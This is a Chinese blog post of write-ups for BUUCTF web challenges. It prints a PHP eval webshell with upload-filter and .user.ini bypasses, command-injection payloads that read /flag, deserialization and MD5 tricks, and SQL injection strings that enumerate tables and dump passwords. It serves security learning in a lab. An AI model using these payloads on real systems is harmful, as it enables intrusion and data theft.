Buuctf部分题解

原创

君陌上 □ 己于 2022-04-13 11:38:01 修改 ○ 289 ☆ 收藏
 文章标签: php html5
 于 2021-09-18 16:16:21 首次发布
 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接: https://blog.csdn.net/weixin_53549425/article/details/120314290
 版权

Buuctf

[极客大挑战 2019]Http1

- [极客大挑战 2019]Knife1
- [极客大挑战 2019]Upload1
- [极客大挑战 2019]PHP1
- Buuctf__[SUCTF 2019]CheckIn 1
- [ACTF2020 新生赛]Exec1
- [GXYCTF2019]Ping Ping Ping1
- [BJDCTF2020]Easy MD5 1
- [ACTF2020 新生赛]BackupFile1
- [GXYCTF2019]BabySQli
- [极客大挑战 2019]BabySQL
- [极客大挑战 2019]LoveSQL1

[极客大挑战 2019]Http1



老规矩, 查看源代码



注:

1、HTTP Referer是header的一部分,当浏览器发送请求的时候带上Referer,告诉服务器该网页是从哪个页面链接过来的。

2、User Agent,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。 紧接着使用burp抓包

提示浏览器不对,一般访问浏览器的名字都会被设置在UA参数中。如

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 firefox

将其改成

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Syclover

还要调整X-Forwarded-For: 127.0.0.1, 然后成功拿到flag

511 style= ioneranny.anal.color.moi=44/50,ionera flag{be864ff4-8533-4851-89f0-f3a8389b22bb}

[极客大挑战 2019]Knife1



打开后发现有一个一句话木马,尝试用蚁剑连接一下

	(1)		_		×
AntSword 编辑 窗口 调试					
 ▲ ■ ■ 117.21.200.166 ※ □ 	117.21.200.166 🛞 🗅 117.21.200.166 🛞				•
□ 目录列表 (0) <	① 文件列表 (1)				^
B-C) /	O新建 → 上层 2 刷新	www/html/		→ 读取	
e- 🗀 var	名称	日期	大小	属性	
I www	index.php	2019-10-11 05:54:28	766 b	0644	
	副 任务列表	hitpe	://bloc.csdn.net/w	eixin_53549	*

连接成功,发现flag在文件夹/下

[极客大挑战 2019]Upload1

本题为文件上传,先上传一个php文件



意料之内,然后使用burp抓包,修改Content-Type为image/jpeg,然后



开来不能php文件被拉入黑名单了,使用不常见的文件后缀名phtml绕过



看来<?被过滤掉了,我们换

GIF89a? <script language="php">eval(\$_REQUEST[feng])</script>

上传成	功,蚁剑连接
╝╨╘	
ntSwo	ord 编辑窗口 调试
	□ 117.21.200.166 ⑧
▋ 编	辑: /flag
/fl	ag
1	flag{44a2200b-b6ef-4654-904c-e00edf06dd24}
2	

https://blog.csdn.net/weixin_53549425

本题得解

[极客大挑战 2019]PHP1

因为每次猫猫都在我键盘上	乱跳,所以我有一个良好的备份网站的习惯 不愧是我!!!	
	Syclover @ cl4y	

我们来看下这道题,打开后有提示备份文件,对于备份文件我们可以使用御剑扫描后台目录

🔰 御到1.2《忠丞彻讼》 BY	個型加強 QQ:343034000		- L X
绑定域名查询 批	建扫描后台 批量检测注入	多种编码转换 加5解密相关	系统信息
吸取绑定域名列表 外部导入域名列表 作业教 留: 1	开始扫描 停止扫描 継ぎ 模式 HEAD - 速度极快 → 线程 扫描信息:扫描完成	续扫描 暂停扫描 200 DIR.txt-可用 □ 3xx DIR.txt-可用 20 ✓ 超时 3 ✓ □ 403 PHP.txt-可用 PHP.txt-可用	へ 双 result.txt-使用 古操 行 扫描速度:0/毎秒
http://93434dfo-05do-4d	ID	地址	HTTPhilo
	1 http://93434dfc-05dc-4df	20-1 21-b950-8607835507e8.node4.buuoj.cn/www.zip	
< >			
添加 删除 清空		https://blo	g.csdn.net/weixin_53549425

下载这个www.zip后发现

名称	压缩前	压缩后	类型	修改日期
📕 (上级目录)			文件夹	
🔊 class.php	1 KB	1 KB	PHP 文件	2019-10-14 07:23
🔊 flag.php	1 KB	1 KB	PHP 文件	2019-10-14 08:44
🐒 index.js	10.3 KB	3.6 KB	JavaScript 文件	2017-11-06 04:26
index.php	1.8 KB	1 KB	PHP 文件	2019-10-14 08:34
style.css	1 KB	1 KB	层叠样式表文档	2017-11-06 04:26

https://blog.csdn.net/weixin_53549425

有这些文件,首先打开flag.php,发现不是我们想要的flag,所以我们打开class.php,

```
?php
include 'flag.php';
error_reporting(0);
class Name{
   private $password = 'yesyes';
   public function __construct($username,$password){
       $this->username = $username;
       $this->password = $password;
   function __wakeup(){
       if ($this->password != 100) {
           echo $this->password;echo "</br>";
       if ($this->username === 'admin') {
           global $flag;
           echo $flag;
```



然后打开index.php观察这个代码,由unserialize()知涉及反序列化,再打开class.php

```
function __destruct(){
    if ($this->password != 100) {
        echo " </br>NO!!!hacker!!! </br>";
        echo "You name is: ";
        echo $this->username;echo " </br>";
        echo $this->username;echo " </br>";
        echo $this->password;echo " </br>";
        die();
    }
    if ($this->username === 'admin') {
        global $flag;
        echo $flag;
    }else{
        echo " </br>hello my friend~~ </br>sorry i can't give you the flag!";
        die();
    }
```

我们可以知道只有username为admin时且password为100时,才会输出flag 而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。由此我们 可以构造playload

\$a= new Name('admin',100); \$b= serialize(\$a); var_dump(\$b); O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

此时我们需要注意两个点,一个是private属性序列化:%00类名%00成员名,所有要在Name、username、以及password前面 加%00,另一个是关于_wakeup函数,因为要绕过wakeup,把Name后的数字改成3,当反序列化时,若属性个数大于真实属性 个数时,则会跳过__wakeup(),本题得解



Buuctf__[SUCTF 2019]CheckIn 1

打开题目

Upload Labs

文件名: 浏览... 未选择文件。 提交

CSDN @君陌上

发现这是一道问价上传题

```
!DOCTYPE html>
.html lang="en">
```

```
. .
```

/html>

```
?php
```

```
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
```

```
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
    $tmp_name = $_FILES["fileUpload"]["tmp_name"];
    $name = $_FILES["fileUpload"]["name"];
    if (!$tmp_name) {
        die("filesize too big!");
    }
    if (!$name) {
        die("filename cannot be empty!");
    }
    $extension = substr($name, strrpos($name, ".") + 1);
}
```

```
if (preg_match("/ph|htacess/i", $extension)) {
    die("illegal suffix!");
}
```

```
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {
    die("&lt;? in contents!");</pre>
```

```
}
$image_type = exif_imagetype($tmp_name);
if (!$image_type) {
    die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;
```

```
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var dump(scandir($userdir));
```

PHP判断文件是否为图片的函数为: exif_imagetype(); 也就是说这个题只能上传。 这里要使用图片马,制作方式详见图片马的制作,在这里我问就不赘述了。 注意本题对<?进行了过滤,所以在webshell的选择上应该替换掉<?, 这里有一个我的webshell供大家使用。 GIF89a? <script language="php">eval(\$_REQUEST[feng])</script>

但是发现无法上传,看了大佬博客后有所领悟,需要用到user.ini,这里有一个讲的非常好的大佬博客简单来说就是:user.ini是一个可以由用户"自定义"的php.ini,我们能够自定义的设置是模式为"PHP_INI_PERDIR、PHP_INI_USER"的设置。

auto_prepend_file 或 auto_append_file

auto_prepend_file 在页面顶部加载文件 auto_append_file 在页面底部加载文件 什么意思呢, 相当于在每个php页面加上一句 include(),可以在PHP中加载执行另一个PHP文件。 注意,是每个,也就是说只要有 PHP 文件被加载,就会去加载执行这个文件,而且是以 PHP 的方式解析。 所以,我们上面绕过了了文件验证,上传了一个.user.ini 文件,再上传一个图片马,让被执行的 PHP 文件去包含执行我们的图 片马,就可以用蚁剑连接来得到flag。 1、制作user.ini

auto_prepend_file=test.jpg

GIF89a





先上传user.ini

Upload Labs

```
文件名: 浏览... 未选择文件。
提交
Your dir uploads/a7020ce29340b1a8744bbbe5565a29c4
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(9) "index.php" }
```

CSDN @君陌上

再上传图片马

Upload Labs

```
文件名: 浏览... 未选择文件。
提交
Your dir uploads/a7020ce29340b1a8744bbbe5565a29c4
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(8) "test.jpg" }
```

CSDN @君陌上

🔳 编辑数据(htt	p://48cf69e3-50a0-4c47-85c8-cb959744b863.node4.buuoj 🗆 🗙
🖺 保存 🗙 清	空 👘 测试连接
当 基础配置	*
URL地址 *	http://48cf69e3-50a0-4c47-85c8-cb959744b863.node4.buuoj.cn:81/uploa
连接密码 *	feng
网站备注	
编码设置	UTF8
连接类型	PHP
	编码器
	● default (不推荐)
	○ random (不推荐)
	◯ base64 🗸
2 请求信息	^
✿\$ 其他设置	CSDN @君陌上

这里要注意图片马的路径,不

然会返回数据为空,本题得解!

[ACTF2020 新生赛]Exec1

PING

请输入需要ping的地址]				
PING	CSDN @	冒陌上				
			打开题目,	这是一道	道命令注入题,	尝试一下
PING						
请输入需要ping的地址						
PING						
PING 127.0.0.1 (127.0.0.1):	56 data by CSDN (ytes @君陌.	E			

这里要用到命令注入相关知识

ls (英文全拼:]	list files):	用于显示打	皆定工作目录下的内容	(列出目	前工作目录所含之文件	及子目录)	
cat(英文全拼:	concatenate)	:用于连	接文件并打印到标准输	讨出设备上	0		
然后浏览目录,	输入 127.0.0.	1 ls,	发现只有一个inde	x.php,	查看它的上级目录,	127.0.0.1	ls/

flag{4a457a45-a173-432f-b389-9d9845cd0216}

然后使用cat, 127.0.0.1 | cat /flag,

[GXYCTF2019]Ping Ping Ping1

/?ip=

PING 127.0.0.1 (127.0.0.1): 56 data bytes

发现可以直接ping通,然后查看目录,发现flag.php



/?ip=

flag.php index.php

CSDN @君陌上

/?ip= fxck your space!

空格被过滤掉了,参考了一下大佬博客这里介绍一下绕过空格的姿势

{cat,flag.txt}
cat\${IFS}flag.txt
cat\${IFS}flag.txt: \$IFS\$9 \$9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
kg=\$'\x20flag.txt'&&cat\$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

/?ip= fxck your flag!

发现flag被过滤掉了,这里可以采用拼接的方法 构造playload: 127.0.0.1;a=g;cat\$IFS\$91a\$a.php

<?php \$flag = "flag{8bf4db11-381a-4ecf-9df4-33b16a564407}"; ?> 这里我再提供一种方法 内联函数:将指定的函数体插入并取代每一处调用该函数的地方。 反引号在linux中作为内联执行,执行输出结果。也就是说

cat `ls` //执行Ls 输出 index.php 和 flag.php 。然后再执行 cat flag.php;cat index.php

构造payload /?ip=127.0.0.1;cat\$IFS\$9`ls`

[BJDCTF2020]Easy MD5 1



CSDN @君陌上

打开题目,出现一个输入框,无论怎么尝试,都没有回显,查看一下响应头,发现了hint。

所	有 HTML	CSS	JS	XHR	字体	图像	媒体	WS	其他		缓存	不节流 🕏
Þ	消息头	Cook	ie	请求	响应	1 耗	时					
冒运	扩滤消息头											拦截
?	Content-T	ype: te	ext/h	tml; cha	arset=L	JTF-8						
?	Date: Sat, 18 Sep 2021 07:37:21 GMT											
	Hint: sele	ct * froi	m 'ac	dmin' w	here pa	asswor	d=md	5 <mark>(\$p</mark> as	s,true)			
?	Server: op	penrest	у									
?	Transfer-E	ncodin	g: cł	nunked								
	X-Powere	d-By: P	PHP/7	7.3.13						CS	DN (@君陌上

语法

md5(string,raw)

参数	描述	
string	必需。规定要计算的字符串。	
raw	可选。规定十六进制或二进制输出格式:	
	• TRUE - 原始 16 字符二进制格式 • FALSE - 默认。32 字符十六进制数	
		CSDN @君陌上

md5(string, raw) raw 可选,默认为false true:返回16字符2进制格式 false:返回32字符16进制格式 简单来说就是 true将16进制的md5转化为字符了,如果某一字符串的md5恰好能够产生如'or '之类的注入语句,就可以进行注入了. 提供一个字符串: ffifdyop md5后, 276f722736c95d99e921722cf9ed621c 转成字符串后: 'or'6

对于MD5(\$ pass,true)的绕过,在这里提供两种方法提供两个字符串: ffifdyop、 129581926211651571912466741651878684928,由于题目有长度限制,所以用第一个。

Do You Like MD5?

```
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
```

这段代码要求定义两个变量a,b,且a和b的值不相等,但是a和b经过md5解码后值相等。直接传入ab为数组就行,这是因为 md5 函数不能处理数组。或者传入两个md5开头为0e的字符串。 构造playload:

?a=s155964671a&b=s214587387a 或 ?a[]=1a&b[]=2

跳转页面,出现了一串代码



与上面那段代码原理一致,直接构造payload

param1[]=1¶m2[]=2

本题得解!

```
highlight_file(__FILE__);
```

```
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
        echo $flag;
} flag(8442e293_624a_452f_a94d_7b025e937921)
```

} flag{8442e293-624a-452f-a94d-7b025e937921}

CSDN @君陌上

[ACTF2020 新生赛]BackupFile1

Try to find out source file!

CSDN @君陌上

dirsearch扫描

很明显这是一道网站备份文件的题,可以使用

08:49:29]	429 -	568B	- /index.html	
08:49:29]	429 -	568B	- /index.inc	
08:49:29]	429 -	568B	- /index.java	
08:49:29]	429 -	568B	- /index.isp	
08:49:291	429 -	568B	- /index.old	
08:49:29]	429 -	568B	- /index.orig	
08:49:29]	429 -	568B	- /index.php	
08:49:29]	429 -	568B	- /index.php-bak	
08:49:29]	429 -	568B	- /index.php.bak	
08:49:29]	429 -	568B	- /index.gz	
08:49:29]	429 -	568B	- /index.php3	
08:49:29	429 -	568B	- /index.php/login	
08:49:29	429 -	568B	- /index.php4	
08:49:29]	429 -	568B	- /index.php~	
08:49:29]	429 -	568B	- /index.php5	
08:49:29]	429 -	568B	- /index.rar	
08:49:29]	429 -	568B	- /index.save	
08:49:29]	429 -	568B	- /index.shtml	
08:49:29]	429 -	568B	- /index.tar.bz2	
08:49:29]	429 -	568B	- /index.tar.gz	CSDN @君陌上

发现了index.php.bak,打开后发现是代码审计

```
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
     $key = $_GET['key'];
     if(!is_numeric($key)) {
        exit("Just num!");
     }
     $key = intval($key);
     $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
     if($key == $str) {
        echo $flag;
     }
}
else {
```

echo "Try to find out source file!";

简单的弱类型绕过

php中两个等于号是弱等于

取str的123与key进行比较, (弱比较:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数 值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否 则其值为0。所以直接传入key=123就行)

‰ hao123_上网 》	📸 [AC	TF2020 新	୍ୟ (o° v°)ノ Hi - [🔤 🚺	● 内容管理-CSD	C 5	文章-CSDN	📸 [ACTF2	2020新 🦲	(54条消息) [A(의 php 弱	类型总 🔠 buuctf	_百度搜
$\leftarrow \ \ \rightarrow \ \ \mathbf{G}$	â		\bigcirc	ℵ 2f5f8et	o7-01b1-4756	-bc95-da	0b56c48c7a.	node4.bu	uoj.cn:81/?k	ey=123			
一火狐官方站点	⊕ 百度	⊕ 百度	🔮 新手上路	🗋 常用网址	: ⊕ 百度一下,	你就知道	🗋 来自 Goog	e Chrome	⊕ 京东商城	JD 京东商城	⊕ 苏宁易购	C 写文章-CSDN博	客 🕀 秩

ag{3a3c60dc-1e7c-42f5-8d6e-5c90fb80bccd}

CSDN @君陌上

本题得解

[GXYCTF2019]BabySQli

UserName	
password	_
请填写此栏。 	

CSDN @君陌上

在这里试了很多方式都进不去, 查看源码

CSDN @ 君陌上

发现有个search.php,打开后发现有一串字符串

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

这个是base32编码方式,对其解码

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

末尾等号是两个,是base64编码方式

select * from user where username = '\$name'

这提示我们要用select语句,常规的猜测字段的语句为

1' union select 1,2#

可以测出user这个表一共有三列,猜测分别为id,username,password(经验)。

在这里,这道题的用户名和密码分开检验,也就是说它是先检验username,把username对应的所有字段都查出来后,再检验密 码能不能和查出来的密码对上,检验密码的过程可能会有一个md5的加密。 我们在注入的时候,发现会回显"wrong user!",但当我们是测试admin用户时却回显wrong pass!(密码错误),很明显这里绝对存 在admin这个账号。此时,我们的思路就是登上admin用户或者得到admin的密码。

•••
•••

CSDN @ 君陌上

🗋 火狐官方站点 Ө 百度 Ө 百度 🕓 新手上路 🗋 常用网址 百度一下,

wrong pass!

CSDN @ 君陌上

这里有个重要的知识,联合一个不存在的

数据时,联合查询会构造出一个虚拟的数据,我们可以利用这个虚拟的数据登录,而使用联合查询也是最开始 search.php相耦合

我们在用户名处输入1' union select

1, 'admin', '202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152d234b70为123的md5加密值,此题由于 过滤了括号,所以不能用md5()函数)。在密码处输入我们自定义的密码123,即可绕过检验,成功登陆admin账户,得到flag。 这里要使用MD5的原因需要查看其在github上的源码

```
mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
```



这是一道sql注入题,先使用万能密码。



发现or被过滤掉了,于是我们进一步测试,发现过滤了好多关键字,比如or, select, where, union。应该是用函数replace给我们替 换成了空白字符

知道了这样,我们就进行绕过,于是拼接字符,无法用order by 1来判断字段个数,我们只有使用联合查询看他是否能查出来, 应该列数不太多,于是我们构造

pyload: ?username=admin&password=admin' uunionnion sselectelect 1,2%23 这里是利用了双写绕过,它的原理是双写代码,例如:uniunionon,浏览器会过滤掉其中一个union,刚好还剩下另一个 union,实现绕过。



不一样,于是我们继续利用联合查询的性质猜测列数

Login Success! MARRIED GL WORK. TAXES YOUR PAY ME KIDS. YOUR WATCH BILLS. R SHION, HELOTZINORMAL Your password P -

有三列,然后我们开始查表: ?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema=database()%23



张表,接下来该爆破字段了

?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_name='b4bsql'%23



有三列,分别是id,username,password,这也是大多数sql注入中表的格式。 接下来我们就开始爆数据?username=admin&password=admin' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql%23

然后我们的flag就呈现到自己的面前了,

Login Success!



本题得解

[极客大挑战 2019]LoveSQL1

打开题目



很明显这是一道SQL注入漏洞的题,我们试一下单引号闭合,发现可以

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1" at line 1

CSDN @君陌上

出现报错 判断列数

admin' order by 4#



admin' order by 3#

Login Success!

ORK, GET MARRIED KIDS, PAY YOUR TAXES BULLS WATCH YOUR TV Hello admin!

Your password is 'e39306ca76b58f0a94b2039b4a6f40a0'

CSDN @ 君陌上

说明有3列,然后爆破数据库

Login Success!

ORK, GET MARRIED E KIDS, PAY YOUR TAXES BULLS WATCH YOUR TV Helo geek!

Your password is '3'

CSDN @ 君陌上

数据库名为geek

下一步爆破表名

Login Success!

K, GET MARRIED DS. PAY YOUR TAXES IS WATCH YOUR TV Hello geekuser, 10ve1ysq11

Your password is '3'

CSDN @ 君陌上

爆破列



最后爆破username以及password

-admin' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1 #

Login Success!

COTOWORK, GET MARRIED HAVE SOME KIDS, PAY YOUR TAXES HAVE SOME KIDS, WATCH YOUR TV Hello velyrglaiss.ZecthAr7zCr,0xC4m3l,Ayrain,Akko,fouc5,fouc5,fouc 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,lir 197c-4d7a-9656-15360ff36572}'

CSDN @ 君陌上